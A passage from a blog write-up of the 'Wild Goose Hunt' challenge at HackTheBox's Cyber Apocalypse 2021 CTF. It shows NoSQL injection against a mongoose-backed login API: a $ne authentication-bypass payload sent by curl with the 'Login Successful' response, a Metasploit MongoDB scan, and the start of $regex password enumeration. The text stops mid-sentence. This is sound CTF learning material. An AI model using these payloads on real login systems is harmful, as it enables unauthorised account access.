Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.
Outdated Alien technology has been found by the human resistance. The system might contain sensitive information that could be of use to us. Our experts are trying to find a way into the system. Can you help?
Complete write up for the Wild Goose Hunt challenge at Cyber Apocalypse 2021 CTF hosted by HackTheBox.eu. This article is a part of a CTF: Cyber Apocalypse 2021 series. You can fork all my writeups directly from the GitHub.
Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!
It will be hard to do some NoSQL injection, because database is not queried directly - but with some mongoose models. For now let's remember that application uses Schema.find method to search in a user collection, giving username and password properties that are received in the POST request body. Also, worth remembering that API returns {logged: int, message: string} JSON.
Nothing interesting, because whatever is done to the request parameters that are read from the HTML element - we are going to bypass it querying the API directly.
/views/index.pug
html
head
title HEROS
meta(charset="utf-8")
meta(name="viewport" content="width=device-width, initial-scale=1, user-scalable=no")
link(rel="icon" href="/images/favicon.webp")
link(href="/css/main.css" rel="stylesheet")
body(class="is-preload landing")
div(class="overlay")
div(class="scanline")
div(class="wrapper")
div(class="content clearfix")
header(class="site clearfix")
div(class="col one")
img(src="images/logo.gif" alt="HTB Industries" width="740" height="729" id="logo-v")
div(class="col two")
p HTB INDUSTRIES (TM)
p HEURISTICALLY ENCRYPTEDREAL-TIME OPERATING SYSTEM (HEROS)
p ----------------------------------------
p HEROS v 1.0.0
p (C)2021 HTB INDUSTRIES
p - CYBER APOCALYPSE -
nav(class="site clear")
ul
li
a(href="/" title="") Return Home
li
a(href="#" title="") Our Clients
li
a(href="#" title="") Contact Us
p System Administrator Integrated Message System (SAIMS)
p System Administrator (SYSADM) - Elliot Alderson
p(class="clear")
br
div#login_system
p Welcome to the System Administrator Integrated Message System (SAIMS). Fill out the fields below and press the SUBMIT button. The system administrator (SYSADM) will respond to your query after an appropriate amount of quiet contemplation. Thank you for contacting the System Administrator"s Office.
br
form(id="login" method="POST")
label Username >>
input(type="text" name="username" id="username")
label Password >>
input(type="text" name="password" id="password")
br
br
br
input(type="submit" id="submit" value="Submit")
h2#response
script(src="/js/main.js")
That's just a Pug rendering engine. We are ready for the API enumeration to get the Logged in response, get the session ID and use it in the browser to see what we can do from then.
Enumeration
I'm assuming that mongoose library have some vulnerabilities over Schema.find method. We clearly cannot do some sneaky injections like ' || 1==1 so let's find out what we have here.
First things first, nmap that database port to see if by any change it is exposed to the network.
Well, it is filtered, so I guess it is behind a firewall, but I'm taking my chances with Metasploit:
msf6 auxiliary(scanner/mongodb/mongodb_login) > run
[*] 206.189.121.131:27017- Scanning IP: 206.189.121.131
[-] 206.189.121.131:27017- Unable to connect: The connection timed out (206.189.121.131:27017).
[*] 206.189.121.131:27017- Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Yeah, no success. Also, with mongo client
$./mongo206.189.121.131MongoDBshellversionv4.4.5connecting to:mongodb://206.189.121.131:27017/test?compressors=disabled&gssapiServiceName=mongodbError:couldn'tconnecttoserver206.189.121.131:27017,connection attempt failed: SocketException: Error connecting to 206.189.121.131:27017 :: caused by :: Connection timed out :connect@src/mongo/shell/mongo.js:374:17@(connect):2:6exception:connectfailedexitingwithcode1
So going back to the mongoose and API we've got here. When searching for vulnerables in Schema.find I've come across some interesting readings (check Additional readings section) that telling this, specifically:
To perform a successful MongoDB injection, it is enough if the attacker supplies the following malicious input data as a POST request:
username[$eq]=admin&password[$ne]=1
The [$ne] query operator means not equal. Therefore, the resulting query will find the first record in which the username is admin and the password is not 1. If this code is used for authentication, the attacker is logged in as the admin user.
But I don't know the username, so I should aim for the following request: username[$eq]=admin&password[$ne]=. I did a test login on the web browser to see in what form POST request is made. application/x-www-form-urlencoded it is.
I've come up with the idea to see how really the request looks - I must send the wrong data. Capturing the traffic with wireshark indeed shows, that requests I am sending via curl are truncated from $ne-like parameters. So I'm encoding the whole POST data in CyberChef (https://gchq.github.io/CyberChef/#recipe=URL_Encode(true)&input=dXNlcm5hbWVbJG5lXT0mcGFzc3dvcmRbJG5lXT0) and voila:
$curl-d"username%5B%24ne%5D%3D&password%5B%24ne%5D%3D"-v206.189.121.131:31978/api/login*Trying206.189.121.131:31978...*Connectedto206.189.121.131(206.189.121.131)port31978(#0)>POST/api/loginHTTP/1.1>Host:206.189.121.131:31978>User-Agent:curl/7.74.0>Accept:*/*>Content-Length:45>Content-Type:application/x-www-form-urlencoded>
* upload completely sent off: 45 out of 45 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 62
< ETag: W/"3e-BvDyP4u8qgWgGOMxzemBf6QGSBc"
< Date: Fri, 23 Apr 2021 10:41:57 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 206.189.121.131 left intact
{"logged":1,"message":"Login Successful, welcome back admin."}
Now I need to get a grab on the session cookie.. But there is none. At least I have a username: admin.
I've scratched my head and started digging again. And I've found something.
NoSQL Injection - regex requests
Do you remember these movies when some hacker is cracking somebody's password - character by character?
If you thought this is only a movie trick to keep the viewers interested.. we're both mistaken. Apparently this is really a thing, and we are going to do this right now.
Regex queries/enumeration. Similar to the previous trick, but a bit smarter - instead of matching whatever password user can have - we are going to reverse guess the password character by character.
user=admin&password[$regex]=.*
By making multiple requests we can match further and further by verifyng the response API is giving (remember logged property?). By assuming that the password is a flag we can make a successful login attempt with